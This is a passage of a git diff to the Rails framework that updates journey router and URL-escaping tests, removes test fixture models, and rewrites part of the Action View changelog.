         route = Route.new("name", nil, path, { }, { :action => 'show' })
 
         assert_equal '/pages/10', route.format({:id => 10, :section => nil})
@@ -85,10 +85,10 @@ module ActionDispatch
         constraints = {:required_defaults => [:controller, :action]}
         defaults = {:controller=>"pages", :action=>"show"}
 
-        path = Path::Pattern.new "/page/:id(/:action)(.:format)"
+        path = Path::Pattern.from_string "/page/:id(/:action)(.:format)"
         specific = Route.new "name", nil, path, constraints, defaults
 
-        path = Path::Pattern.new "/:controller(/:action(/:id))(.:format)"
+        path = Path::Pattern.from_string "/:controller(/:action(/:id))(.:format)"
         generic = Route.new "name", nil, path, constraints
 
         knowledge = {:id=>20, :controller=>"pages", :action=>"show"}
diff --git a/actionpack/test/journey/router/strexp_test.rb b/actionpack/test/journey/router/strexp_test.rb
deleted file mode 100644
index 7ccdfb7b4d..0000000000
--- a/actionpack/test/journey/router/strexp_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require 'abstract_unit'
-
-module ActionDispatch
-  module Journey
-    class Router
-      class TestStrexp < ActiveSupport::TestCase
-        def test_many_names
-          exp = Strexp.new(
-            "/:controller(/:action(/:id(.:format)))",
-            {:controller=>/.+?/},
-            ["/", ".", "?"],
-            true)
-
-          assert_equal ["controller", "action", "id", "format"], exp.names
-        end
-
-        def test_names
-          {
-            "/bar(.:format)"    => %w{ format },
-            ":format"           => %w{ format },
-            ":format-"          => %w{ format },
-            ":format0"          => %w{ format0 },
-            ":format1,:format2" => %w{ format1 format2 },
-          }.each do |string, expected|
-            exp = Strexp.new(string, {}, ["/", ".", "?"])
-            assert_equal expected, exp.names
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/test/journey/router/utils_test.rb b/actionpack/test/journey/router/utils_test.rb
index 057dc40cca..2b505f081e 100644
--- a/actionpack/test/journey/router/utils_test.rb
+++ b/actionpack/test/journey/router/utils_test.rb
@@ -5,16 +5,32 @@ module ActionDispatch
     class Router
       class TestUtils < ActiveSupport::TestCase
         def test_path_escape
-          assert_equal "a/b%20c+d", Utils.escape_path("a/b c+d")
+          assert_equal "a/b%20c+d%25", Utils.escape_path("a/b c+d%")
+        end
+
+        def test_segment_escape
+          assert_equal "a%2Fb%20c+d%25", Utils.escape_segment("a/b c+d%")
         end
 
         def test_fragment_escape
-          assert_equal "a/b%20c+d?e", Utils.escape_fragment("a/b c+d?e")
+          assert_equal "a/b%20c+d%25?e", Utils.escape_fragment("a/b c+d%?e")
         end
 
         def test_uri_unescape
           assert_equal "a/b c+d", Utils.unescape_uri("a%2Fb%20c+d")
         end
+
+        def test_uri_unescape_with_utf8_string
+          assert_equal "Šašinková", Utils.unescape_uri("%C5%A0a%C5%A1inkov%C3%A1".force_encoding(Encoding::US_ASCII))
+        end
+
+        def test_normalize_path_not_greedy
+          assert_equal "/foo%20bar%20baz", Utils.normalize_path("/foo%20bar%20baz")
+        end
+
+        def test_normalize_path_uppercase
+          assert_equal "/foo%AAbar%AAbaz", Utils.normalize_path("/foo%aabar%aabaz")
+        end
       end
     end
   end
diff --git a/actionpack/test/journey/router_test.rb b/actionpack/test/journey/router_test.rb
index a286f77633..19c61b5914 100644
--- a/actionpack/test/journey/router_test.rb
+++ b/actionpack/test/journey/router_test.rb
@@ -4,24 +4,15 @@ require 'abstract_unit'
 module ActionDispatch
   module Journey
     class TestRouter < ActiveSupport::TestCase
-      # TODO : clean up routing tests so we don't need this hack
-      class StubDispatcher < Routing::RouteSet::Dispatcher; end
-
       attr_reader :routes
 
       def setup
-        @app       = StubDispatcher.new
+        @app       = Routing::RouteSet::Dispatcher.new({})
         @routes    = Routes.new
-        @router    = Router.new(@routes, {})
+        @router    = Router.new(@routes)
         @formatter = Formatter.new(@routes)
       end
 
-      def test_request_class_reader
-        klass = Object.new
-        router = Router.new(routes, :request_class => klass)
-        assert_equal klass, router.request_class
-      end
-
       class FakeRequestFeeler < Struct.new(:env, :called)
         def new env
           self.env = env
@@ -39,33 +30,33 @@ module ActionDispatch
       end
 
       def test_dashes
-        router = Router.new(routes, {})
+        router = Router.new(routes)
 
-        exp = Router::Strexp.new '/foo-bar-baz', {}, ['/.?']
+        exp = Router::Strexp.build '/foo-bar-baz', {}, ['/.?']
         path  = Path::Pattern.new exp
 
         routes.add_route nil, path, {}, {:id => nil}, {}
 
         env = rails_env 'PATH_INFO' => '/foo-bar-baz'
         called = false
-        router.recognize(env) do |r, _, params|
+        router.recognize(env) do |r, params|
           called = true
         end
         assert called
       end
 
       def test_unicode
-        router = Router.new(routes, {})
+        router = Router.new(routes)
 
         #match the escaped version of /ほげ
-        exp = Router::Strexp.new '/%E3%81%BB%E3%81%92', {}, ['/.?']
+        exp = Router::Strexp.build '/%E3%81%BB%E3%81%92', {}, ['/.?']
         path  = Path::Pattern.new exp
 
         routes.add_route nil, path, {}, {:id => nil}, {}
 
         env = rails_env 'PATH_INFO' => '/%E3%81%BB%E3%81%92'
         called = false
-        router.recognize(env) do |r, _, params|
+        router.recognize(env) do |r, params|
           called = true
         end
         assert called
@@ -73,17 +64,17 @@ module ActionDispatch
 
       def test_request_class_and_requirements_success
         klass  = FakeRequestFeeler.new nil
-        router = Router.new(routes, {:request_class => klass })
+        router = Router.new(routes)
 
         requirements = { :hello => /world/ }
 
-        exp = Router::Strexp.new '/foo(/:id)', {}, ['/.?']
+        exp = Router::Strexp.build '/foo(/:id)', {}, ['/.?']
         path  = Path::Pattern.new exp
 
         routes.add_route nil, path, requirements, {:id => nil}, {}
 
-        env = rails_env 'PATH_INFO' => '/foo/10'
-        router.recognize(env) do |r, _, params|
+        env = rails_env({'PATH_INFO' => '/foo/10'}, klass)
+        router.recognize(env) do |r, params|
           assert_equal({:id => '10'}, params)
         end
 
@@ -93,17 +84,17 @@ module ActionDispatch
 
       def test_request_class_and_requirements_fail
         klass  = FakeRequestFeeler.new nil
-        router = Router.new(routes, {:request_class => klass })
+        router = Router.new(routes)
 
         requirements = { :hello => /mom/ }
 
-        exp = Router::Strexp.new '/foo(/:id)', {}, ['/.?']
+        exp = Router::Strexp.build '/foo(/:id)', {}, ['/.?']
         path  = Path::Pattern.new exp
 
         router.routes.add_route nil, path, requirements, {:id => nil}, {}
 
-        env = rails_env 'PATH_INFO' => '/foo/10'
-        router.recognize(env) do |r, _, params|
+        env = rails_env({'PATH_INFO' => '/foo/10'}, klass)
+        router.recognize(env) do |r, params|
           flunk 'route should not be found'
         end
 
@@ -111,24 +102,29 @@ module ActionDispatch
         assert_equal env.env, klass.env
       end
 
-      class CustomPathRequest < Router::NullReq
+      class CustomPathRequest < ActionDispatch::Request
         def path_info
           env['custom.path_info']
         end
+
+        def path_info=(x)
+          env['custom.path_info'] = x
+        end
       end
 
       def test_request_class_overrides_path_info
-        router = Router.new(routes, {:request_class => CustomPathRequest })
+        router = Router.new(routes)
 
-        exp = Router::Strexp.new '/bar', {}, ['/.?']
+        exp = Router::Strexp.build '/bar', {}, ['/.?']
         path = Path::Pattern.new exp
 
         routes.add_route nil, path, {}, {}, {}
 
-        env = rails_env 'PATH_INFO' => '/foo', 'custom.path_info' => '/bar'
+        env = rails_env({'PATH_INFO' => '/foo',
+                         'custom.path_info' => '/bar'}, CustomPathRequest)
 
         recognized = false
-        router.recognize(env) do |r, _, params|
+        router.recognize(env) do |r, params|
           recognized = true
         end
 
@@ -137,14 +133,14 @@ module ActionDispatch
 
       def test_regexp_first_precedence
         add_routes @router, [
-          Router::Strexp.new("/whois/:domain", {:domain => /\w+\.[\w\.]+/}, ['/', '.', '?']),
-          Router::Strexp.new("/whois/:id(.:format)", {}, ['/', '.', '?'])
+          Router::Strexp.build("/whois/:domain", {:domain => /\w+\.[\w\.]+/}, ['/', '.', '?']),
+          Router::Strexp.build("/whois/:id(.:format)", {}, ['/', '.', '?'])
         ]
 
         env = rails_env 'PATH_INFO' => '/whois/example.com'
 
         list = []
-        @router.recognize(env) do |r, _, params|
+        @router.recognize(env) do |r, params|
           list << r
         end
         assert_equal 2, list.length
@@ -156,93 +152,104 @@ module ActionDispatch
 
       def test_required_parts_verified_are_anchored
         add_routes @router, [
-          Router::Strexp.new("/foo/:id", { :id => /\d/ }, ['/', '.', '?'], false)
+          Router::Strexp.build("/foo/:id", { :id => /\d/ }, ['/', '.', '?'], false)
         ]
 
         assert_raises(ActionController::UrlGenerationError) do
-          @formatter.generate(:path_info, nil, { :id => '10' }, { })
+          @formatter.generate(nil, { :id => '10' }, { })
         end
       end
 
       def test_required_parts_are_verified_when_building
         add_routes @router, [
-          Router::Strexp.new("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false)
+          Router::Strexp.build("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false)
         ]
 
-        path, _ = @formatter.generate(:path_info, nil, { :id => '10' }, { })
+        path, _ = @formatter.generate(nil, { :id => '10' }, { })
         assert_equal '/foo/10', path
 
         assert_raises(ActionController::UrlGenerationError) do
-          @formatter.generate(:path_info, nil, { :id => 'aa' }, { })
+          @formatter.generate(nil, { :id => 'aa' }, { })
         end
       end
 
       def test_only_required_parts_are_verified
         add_routes @router, [
-          Router::Strexp.new("/foo(/:id)", {:id => /\d/}, ['/', '.', '?'], false)
+          Router::Strexp.build("/foo(/:id)", {:id => /\d/}, ['/', '.', '?'], false)
         ]
 
-        path, _ = @formatter.generate(:path_info, nil, { :id => '10' }, { })
+        path, _ = @formatter.generate(nil, { :id => '10' }, { })
         assert_equal '/foo/10', path
 
-        path, _ = @formatter.generate(:path_info, nil, { }, { })
+        path, _ = @formatter.generate(nil, { }, { })
         assert_equal '/foo', path
 
-        path, _ = @formatter.generate(:path_info, nil, { :id => 'aa' }, { })
+        path, _ = @formatter.generate(nil, { :id => 'aa' }, { })
         assert_equal '/foo/aa', path
       end
 
       def test_knows_what_parts_are_missing_from_named_route
         route_name = "gorby_thunderhorse"
-        pattern = Router::Strexp.new("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false)
+        pattern = Router::Strexp.build("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false)
         path = Path::Pattern.new pattern
         @router.routes.add_route nil, path, {}, {}, route_name
 
         error = assert_raises(ActionController::UrlGenerationError) do
-          @formatter.generate(:path_info, route_name, { }, { })
+          @formatter.generate(route_name, { }, { })
         end
 
         assert_match(/missing required keys: \[:id\]/, error.message)
       end
 
+      def test_does_not_include_missing_keys_message
+        route_name = "gorby_thunderhorse"
+
+        error = assert_raises(ActionController::UrlGenerationError) do
+          @formatter.generate(route_name, { }, { })
+        end
+
+        assert_no_match(/missing required keys: \[\]/, error.message)
+      end
+
       def test_X_Cascade
         add_routes @router, [ "/messages(.:format)" ]
-        resp = @router.call({ 'REQUEST_METHOD' => 'GET', 'PATH_INFO' => '/lol' })
+        resp = @router.serve(rails_env({ 'REQUEST_METHOD' => 'GET', 'PATH_INFO' => '/lol' }))
         assert_equal ['Not Found'], resp.last
         assert_equal 'pass', resp[1]['X-Cascade']
         assert_equal 404, resp.first
       end
 
       def test_clear_trailing_slash_from_script_name_on_root_unanchored_routes
-        strexp = Router::Strexp.new("/", {}, ['/', '.', '?'], false)
-        path   = Path::Pattern.new strexp
+        route_set = Routing::RouteSet.new
+        mapper = Routing::Mapper.new route_set
+
         app    = lambda { |env| [200, {}, ['success!']] }
-        @router.routes.add_route(app, path, {}, {}, {})
+        mapper.get '/weblog', :to => app
 
         env  = rack_env('SCRIPT_NAME' => '', 'PATH_INFO' => '/weblog')
-        resp = @router.call(env)
+        resp = route_set.call env
         assert_equal ['success!'], resp.last
         assert_equal '', env['SCRIPT_NAME']
       end
 
       def test_defaults_merge_correctly
-        path  = Path::Pattern.new '/foo(/:id)'
+        path  = Path::Pattern.from_string '/foo(/:id)'
         @router.routes.add_route nil, path, {}, {:id => nil}, {}
 
         env = rails_env 'PATH_INFO' => '/foo/10'
-        @router.recognize(env) do |r, _, params|
+        @router.recognize(env) do |r, params|
           assert_equal({:id => '10'}, params)
         end
 
         env = rails_env 'PATH_INFO' => '/foo'
-        @router.recognize(env) do |r, _, params|
+        @router.recognize(env) do |r, params|
           assert_equal({:id => nil}, params)
         end
       end
 
       def test_recognize_with_unbound_regexp
         add_routes @router, [
-          Router::Strexp.new("/foo", { }, ['/', '.', '?'], false)
+          Router::Strexp.build("/foo", { }, ['/', '.', '?'], false)
         ]
 
         env = rails_env 'PATH_INFO' => '/foo/bar'
@@ -255,7 +262,7 @@ module ActionDispatch
 
       def test_bound_regexp_keeps_path_info
         add_routes @router, [
-          Router::Strexp.new("/foo", { }, ['/', '.', '?'], true)
+          Router::Strexp.build("/foo", { }, ['/', '.', '?'], true)
         ]
 
         env = rails_env 'PATH_INFO' => '/foo'
@@ -287,14 +294,14 @@ module ActionDispatch
       def test_required_part_in_recall
         add_routes @router, [ "/messages/:a/:b" ]
 
-        path, _ = @formatter.generate(:path_info, nil, { :a => 'a' }, { :b => 'b' })
+        path, _ = @formatter.generate(nil, { :a => 'a' }, { :b => 'b' })
         assert_equal "/messages/a/b", path
       end
 
       def test_splat_in_recall
         add_routes @router, [ "/*path" ]
 
-        path, _ = @formatter.generate(:path_info, nil, { }, { :path => 'b' })
+        path, _ = @formatter.generate(nil, { }, { :path => 'b' })
         assert_equal "/b", path
       end
 
@@ -304,35 +311,35 @@ module ActionDispatch
           "/messages/:id(.:format)"
         ]
 
-        path, _ = @formatter.generate(:path_info, nil, { :id => 10 }, { :action => 'index' })
+        path, _ = @formatter.generate(nil, { :id => 10 }, { :action => 'index' })
         assert_equal "/messages/index/10", path
       end
 
       def test_nil_path_parts_are_ignored
-        path  = Path::Pattern.new "/:controller(/:action(.:format))"
+        path  = Path::Pattern.from_string "/:controller(/:action(.:format))"
         @router.routes.add_route @app, path, {}, {}, {}
 
         params = { :controller => "tasks", :format => nil }
         extras = { :action => 'lol' }
 
-        path, _ = @formatter.generate(:path_info, nil, params, extras)
+        path, _ = @formatter.generate(nil, params, extras)
         assert_equal '/tasks', path
       end
 
       def test_generate_slash
         params = [ [:controller, "tasks"],
                    [:action, "show"] ]
-        str = Router::Strexp.new("/", Hash[params], ['/', '.', '?'], true)
+        str = Router::Strexp.build("/", Hash[params], ['/', '.', '?'], true)
         path  = Path::Pattern.new str
 
         @router.routes.add_route @app, path, {}, {}, {}
 
-        path, _ = @formatter.generate(:path_info, nil, Hash[params], {})
+        path, _ = @formatter.generate(nil, Hash[params], {})
         assert_equal '/', path
       end
 
       def test_generate_calls_param_proc
-        path  = Path::Pattern.new '/:controller(/:action)'
+        path  = Path::Pattern.from_string '/:controller(/:action)'
         @router.routes.add_route @app, path, {}, {}, {}
 
         parameterized = []
@@ -340,7 +347,6 @@ module ActionDispatch
                    [:action, "show"] ]
 
         @formatter.generate(
-          :path_info,
           nil,
           Hash[params],
           {},
@@ -350,31 +356,42 @@ module ActionDispatch
       end
 
       def test_generate_id
-        path  = Path::Pattern.new '/:controller(/:action)'
+        path  = Path::Pattern.from_string '/:controller(/:action)'
         @router.routes.add_route @app, path, {}, {}, {}
 
         path, params = @formatter.generate(
-          :path_info, nil, {:id=>1, :controller=>"tasks", :action=>"show"}, {})
+          nil, {:id=>1, :controller=>"tasks", :action=>"show"}, {})
         assert_equal '/tasks/show', path
         assert_equal({:id => 1}, params)
       end
 
       def test_generate_escapes
-        path  = Path::Pattern.new '/:controller(/:action)'
+        path  = Path::Pattern.from_string '/:controller(/:action)'
         @router.routes.add_route @app, path, {}, {}, {}
 
-        path, _ = @formatter.generate(:path_info,
-          nil, { :controller        => "tasks",
+        path, _ = @formatter.generate(nil,
+          { :controller        => "tasks",
                  :action            => "a/b c+d",
         }, {})
-        assert_equal '/tasks/a/b%20c+d', path
+        assert_equal '/tasks/a%2Fb%20c+d', path
+      end
+
+      def test_generate_escapes_with_namespaced_controller
+        path  = Path::Pattern.from_string '/:controller(/:action)'
+        @router.routes.add_route @app, path, {}, {}, {}
+
+        path, _ = @formatter.generate(
+          nil, { :controller        => "admin/tasks",
+                 :action            => "a/b c+d",
+        }, {})
+        assert_equal '/admin/tasks/a%2Fb%20c+d', path
       end
 
       def test_generate_extra_params
-        path  = Path::Pattern.new '/:controller(/:action)'
+        path  = Path::Pattern.from_string '/:controller(/:action)'
         @router.routes.add_route @app, path, {}, {}, {}
 
-        path, params = @formatter.generate(:path_info,
+        path, params = @formatter.generate(
           nil, { :id                => 1,
                  :controller        => "tasks",
                  :action            => "show",
@@ -385,10 +402,10 @@ module ActionDispatch
       end
 
       def test_generate_uses_recall_if_needed
-        path  = Path::Pattern.new '/:controller(/:action(/:id))'
+        path  = Path::Pattern.from_string '/:controller(/:action(/:id))'
         @router.routes.add_route @app, path, {}, {}, {}
 
-        path, params = @formatter.generate(:path_info,
+        path, params = @formatter.generate(
           nil,
           {:controller =>"tasks", :id => 10},
           {:action     =>"index"})
@@ -397,10 +414,10 @@ module ActionDispatch
       end
 
       def test_generate_with_name
-        path  = Path::Pattern.new '/:controller(/:action)'
-        @router.routes.add_route @app, path, {}, {}, {}
+        path  = Path::Pattern.from_string '/:controller(/:action)'
+        @router.routes.add_route @app, path, {}, {}, "tasks"
 
-        path, params = @formatter.generate(:path_info,
+        path, params = @formatter.generate(
           "tasks",
           {:controller=>"tasks"},
           {:controller=>"tasks", :action=>"index"})
@@ -414,14 +431,14 @@ module ActionDispatch
         '/content/show/10'  => { :controller => 'content', :action => 'show', :id => "10" },
       }.each do |request_path, expected|
         define_method("test_recognize_#{expected.keys.map(&:to_s).join('_')}") do
-          path  = Path::Pattern.new "/:controller(/:action(/:id))"
+          path  = Path::Pattern.from_string "/:controller(/:action(/:id))"
           app   = Object.new
           route = @router.routes.add_route(app, path, {}, {}, {})
 
           env = rails_env 'PATH_INFO' => request_path
           called   = false
 
-          @router.recognize(env) do |r, _, params|
+          @router.recognize(env) do |r, params|
             assert_equal route, r
             assert_equal(expected, params)
             called = true
@@ -436,14 +453,14 @@ module ActionDispatch
         :splat   => ['/segment/a/b%20c+d', { :segment => 'segment', :splat => 'a/b c+d' }]
       }.each do |name, (request_path, expected)|
         define_method("test_recognize_#{name}") do
-          path  = Path::Pattern.new '/:segment/*splat'
+          path  = Path::Pattern.from_string '/:segment/*splat'
           app   = Object.new
           route = @router.routes.add_route(app, path, {}, {}, {})
 
           env = rails_env 'PATH_INFO' => request_path
           called   = false
 
-          @router.recognize(env) do |r, _, params|
+          @router.recognize(env) do |r, params|
             assert_equal route, r
             assert_equal(expected, params)
             called = true
@@ -454,7 +471,7 @@ module ActionDispatch
       end
 
       def test_namespaced_controller
-        strexp = Router::Strexp.new(
+        strexp = Router::Strexp.build(
           "/:controller(/:action(/:id))",
           { :controller => /.+?/ },
           ["/", ".", "?"]
@@ -471,7 +488,7 @@ module ActionDispatch
           :id         => '10'
         }
 
-        @router.recognize(env) do |r, _, params|
+        @router.recognize(env) do |r, params|
           assert_equal route, r
           assert_equal(expected, params)
           called = true
@@ -480,14 +497,14 @@ module ActionDispatch
       end
 
       def test_recognize_literal
-        path   = Path::Pattern.new "/books(/:action(.:format))"
+        path   = Path::Pattern.from_string "/books(/:action(.:format))"
         app    = Object.new
         route  = @router.routes.add_route(app, path, {}, {:controller => 'books'})
 
         env    = rails_env 'PATH_INFO' => '/books/list.rss'
         expected = { :controller => 'books', :action => 'list', :format => 'rss' }
         called = false
-        @router.recognize(env) do |r, _, params|
+        @router.recognize(env) do |r, params|
           assert_equal route, r
           assert_equal(expected, params)
           called = true
@@ -496,8 +513,27 @@ module ActionDispatch
         assert called
       end
 
+      def test_recognize_head_route
+        path   = Path::Pattern.from_string "/books(/:action(.:format))"
+        app    = Object.new
+        conditions = { request_method: 'HEAD' }
+        @router.routes.add_route(app, path, conditions, {})
+
+        env = rails_env(
+          'PATH_INFO' => '/books/list.rss',
+          'REQUEST_METHOD' => 'HEAD'
+        )
+
+        called = false
+        @router.recognize(env) do |r, params|
+          called = true
+        end
+
+        assert called
+      end
+
       def test_recognize_head_request_as_get_route
-        path   = Path::Pattern.new "/books(/:action(.:format))"
+        path   = Path::Pattern.from_string "/books(/:action(.:format))"
         app    = Object.new
         conditions = {
           :request_method => 'GET'
@@ -508,7 +544,7 @@ module ActionDispatch
                         "REQUEST_METHOD"    => "HEAD"
 
         called = false
-        @router.recognize(env) do |r, _, params|
+        @router.recognize(env) do |r, params|
           called = true
         end
 
@@ -516,23 +552,28 @@ module ActionDispatch
       end
 
       def test_recognize_cares_about_verbs
-        path   = Path::Pattern.new "/books(/:action(.:format))"
+        path   = Path::Pattern.from_string "/books(/:action(.:format))"
         app    = Object.new
-        conditions = {
-          :request_method => 'GET'
-        }
+        conditions = { request_method: 'GET' }
         @router.routes.add_route(app, path, conditions, {})
 
+        env = rails_env 'PATH_INFO' => '/books/list.rss',
+                        "REQUEST_METHOD" => "POST"
+
+        called = false
+        @router.recognize(env) do |r, params|
+          called = true
+        end
+
+        assert_not called
+
         conditions = conditions.dup
         conditions[:request_method] = 'POST'
 
         post = @router.routes.add_route(app, path, conditions, {})
 
-        env = rails_env 'PATH_INFO' => '/books/list.rss',
-                        "REQUEST_METHOD"    => "POST"
-
         called = false
-        @router.recognize(env) do |r, _, params|
+        @router.recognize(env) do |r, params|
           assert_equal post, r
           called = true
         end
@@ -544,15 +585,17 @@ module ActionDispatch
 
       def add_routes router, paths
         paths.each do |path|
-          path  = Path::Pattern.new path
+          if String === path
+            path  = Path::Pattern.from_string path
+          else
+            path  = Path::Pattern.new path
+          end
           router.routes.add_route @app, path, {}, {}, {}
         end
       end
 
-      RailsEnv = Struct.new(:env)
-
-      def rails_env env
-        RailsEnv.new rack_env env
+      def rails_env env, klass = ActionDispatch::Request
+        klass.new(rack_env(env))
       end
 
       def rack_env env
diff --git a/actionpack/test/journey/routes_test.rb b/actionpack/test/journey/routes_test.rb
index 25e0321d31..a4efc82b8c 100644
--- a/actionpack/test/journey/routes_test.rb
+++ b/actionpack/test/journey/routes_test.rb
@@ -5,7 +5,7 @@ module ActionDispatch
     class TestRoutes < ActiveSupport::TestCase
       def test_clear
         routes = Routes.new
-        exp    = Router::Strexp.new '/foo(/:id)', {}, ['/.?']
+        exp    = Router::Strexp.build '/foo(/:id)', {}, ['/.?']
         path   = Path::Pattern.new exp
         requirements = { :hello => /world/ }
 
@@ -18,7 +18,7 @@ module ActionDispatch
 
       def test_ast
         routes = Routes.new
-        path   = Path::Pattern.new '/hello'
+        path   = Path::Pattern.from_string '/hello'
 
         routes.add_route nil, path, {}, {}, {}
         ast = routes.ast
@@ -28,7 +28,7 @@ module ActionDispatch
 
       def test_simulator_changes
         routes = Routes.new
-        path   = Path::Pattern.new '/hello'
+        path   = Path::Pattern.from_string '/hello'
 
         routes.add_route nil, path, {}, {}, {}
         sim = routes.simulator
@@ -40,8 +40,8 @@ module ActionDispatch
         #def add_route app, path, conditions, defaults, name = nil
         routes = Routes.new
 
-        one   = Path::Pattern.new '/hello'
-        two   = Path::Pattern.new '/aaron'
+        one   = Path::Pattern.from_string '/hello'
+        two   = Path::Pattern.from_string '/aaron'
 
         routes.add_route nil, one, {}, {}, 'aaron'
         routes.add_route nil, two, {}, {}, 'aaron'
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
index 38abb16d08..ce9522d12a 100644
--- a/actionpack/test/lib/controller/fake_models.rb
+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -28,30 +28,6 @@ class Customer < Struct.new(:name, :id)
   end
 end
 
-class ValidatedCustomer < Customer
-  def errors
-    if name =~ /Sikachu/i
-      []
-    else
-      [{:name => "is invalid"}]
-    end
-  end
-end
-
-module Quiz
-  class Question < Struct.new(:name, :id)
-    extend ActiveModel::Naming
-    include ActiveModel::Conversion
-
-    def persisted?
-      id.present?
-    end
-  end
-
-  class Store < Question
-  end
-end
-
 class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost)
   extend ActiveModel::Naming
   include ActiveModel::Conversion
@@ -95,119 +71,3 @@ class Comment
 
   attr_accessor :body
 end
-
-class Tag
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  attr_reader :post_id
-  def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
-  def to_key; id ? [id] : nil end
-  def save; @id = 1; @post_id = 1 end
-  def persisted?; @id.present? end
-  def to_param; @id; end
-  def value
-    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-  end
-
-  attr_accessor :relevances
-  def relevances_attributes=(attributes); end
-
-end
-
-class CommentRelevance
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  attr_reader :comment_id
-  def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
-  def to_key; id ? [id] : nil end
-  def save; @id = 1; @comment_id = 1 end
-  def persisted?; @id.present? end
-  def to_param; @id; end
-  def value
-    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-  end
-end
-
-class Sheep
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  def to_key; id ? [id] : nil end
-  def save; @id = 1 end
-  def new_record?; @id.nil? end
-  def name
-    @id.nil? ? 'new sheep' : "sheep ##{@id}"
-  end
-end
-
-
-class TagRelevance
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  attr_reader :tag_id
-  def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
-  def to_key; id ? [id] : nil end
-  def save; @id = 1; @tag_id = 1 end
-  def persisted?; @id.present? end
-  def to_param; @id; end
-  def value
-    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-  end
-end
-
-class Author < Comment
-  attr_accessor :post
-  def post_attributes=(attributes); end
-end
-
-class HashBackedAuthor < Hash
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  def persisted?; false; end
-
-  def name
-    "hash backed author"
-  end
-end
-
-module Blog
-  def self.use_relative_model_naming?
-    true
-  end
-
-  class Post < Struct.new(:title, :id)
-    extend ActiveModel::Naming
-    include ActiveModel::Conversion
-
-    def persisted?
-      id.present?
-    end
-  end
-end
-
-class ArelLike
-  def to_ary
-    true
-  end
-  def each
-    a = Array.new(2) { |id| Comment.new(id + 1) }
-    a.each { |i| yield i }
-  end
-end
-
-class RenderJsonTestException < Exception
-  def to_json(options = nil)
-    return { :error => self.class.name, :message => self.to_s }.to_json
-  end
-end
-
-class Car < Struct.new(:color)
-end
diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md
index 6240dc6ac6..7fc32a3b5c 100644
--- a/actionview/CHANGELOG.md
+++ b/actionview/CHANGELOG.md
@@ -1,165 +1,45 @@
-*   Only cache template digests if `config.cache_template_loading` id true.
+*   Partial template name does no more have to be a valid Ruby identifier.
 
-    *Josh Lauer*, *Justin Ridgewell*
+    There used to be a naming rule that the partial name should start with
+    underscore, and should be followed by any combination of letters, numbers
+    and underscores.
+    But now we can give our partials any name starting with underscore, such as
+    _🍔.html.erb.
 
-*   Added an `extname` hash option for `javascript_include_tag` method.
+    *Akira Matsuda*
 
-    Before:
+*   Change the default template handler from `ERB` to `Raw`.
 
-        javascript_include_tag('templates.jst')
-        # => <script src="/javascripts/templates.jst.js"></script>
-
-    After:
-
-        javascript_include_tag('templates.jst', extname: false )
-        # => <script src="/javascripts/templates.jst"></script>
-
-    *Nathan Stitt*
-
-*   Fix `current_page?` when the URL contains escaped characters and the
-    original URL is using the hexadecimal lowercased.
+    Files without a template handler in their extension will be rendered using the raw
+    handler instead of ERB.
 
     *Rafael Mendonça França*
 
-*   Fix `text_area` to behave like `text_field` when `nil` is given as
-    value.
-
-    Before:
-
-        f.text_field :field, value: nil #=> <input value="">
-        f.text_area :field, value: nil  #=> <textarea>value of field</textarea>
-
-    After:
-
-        f.text_area :field, value: nil  #=> <textarea></textarea>
-
-    *Joel Cogen*
-
-*   Element of the `grouped_options_for_select` can
-    optionally contain html attributes as the last element of the array.
-
-        grouped_options_for_select(
-          [["North America", [['United States','US'],"Canada"], data: { foo: 'bar' }]]
-        )
-
-    *Vasiliy Ermolovich*
-
-*   Fix default rendered format problem when calling `render` without :content_type option.
-    It should return :html. Fix #11393.
-
-    *Gleb Mazovetskiy* *Oleg* *kennyj*
-
-*   Fix `link_to` with block and url hashes.
-
-    Before:
-
-        link_to(action: 'bar', controller: 'foo') { content_tag(:span, 'Example site') }
-        # => "<a action=\"bar\" controller=\"foo\"><span>Example site</span></a>"
-
-    After:
-
-        link_to(action: 'bar', controller: 'foo') { content_tag(:span, 'Example site') }
-        # => "<a href=\"/foo/bar\"><span>Example site</span></a>"
-
-    *Murahashi Sanemat Kenichi*
-
-*   Fix "Stack Level Too Deep" error when redering recursive partials.
-
-    Fixes #11340.
+*   Remove deprecated `AbstractController::Base::parent_prefixes`.
 
     *Rafael Mendonça França*
 
-*   Added an `enforce_utf8` hash option for `form_tag` method.
-
-    Control to output a hidden input tag with name `utf8` without monkey
-    patching.
-
-    Before:
-
-        form_tag
-        # => '<form>..<input name="utf8" type="hidden" value="&#x2713;" />..</form>'
-
-    After:
-
-        form_tag
-        # => '<form>..<input name="utf8" type="hidden" value="&#x2713;" />..</form>'
-
-        form_tag({}, { :enforce_utf8 => false })
-        # => '<form>....</form>'
-
-    *ma2gedev*
-
-*   Remove the deprecated `include_seconds` argument from `distance_of_time_in_words`,
-    pass in an `:include_seconds` hash option to use this feature.
-
-    *Carlos Antonio da Silva*
-
-*   Remove deprecated block passing to `FormBuilder#new`.
-
-    *Vipul A M*
-
-*   Pick `DateField` `DateTimeField` and `ColorField` values from stringified options allowing use of symbol keys with helpers.
-
-    *Jon Rowe*
-
-*   Remove the deprecated `prompt` argument from `grouped_options_for_select`,
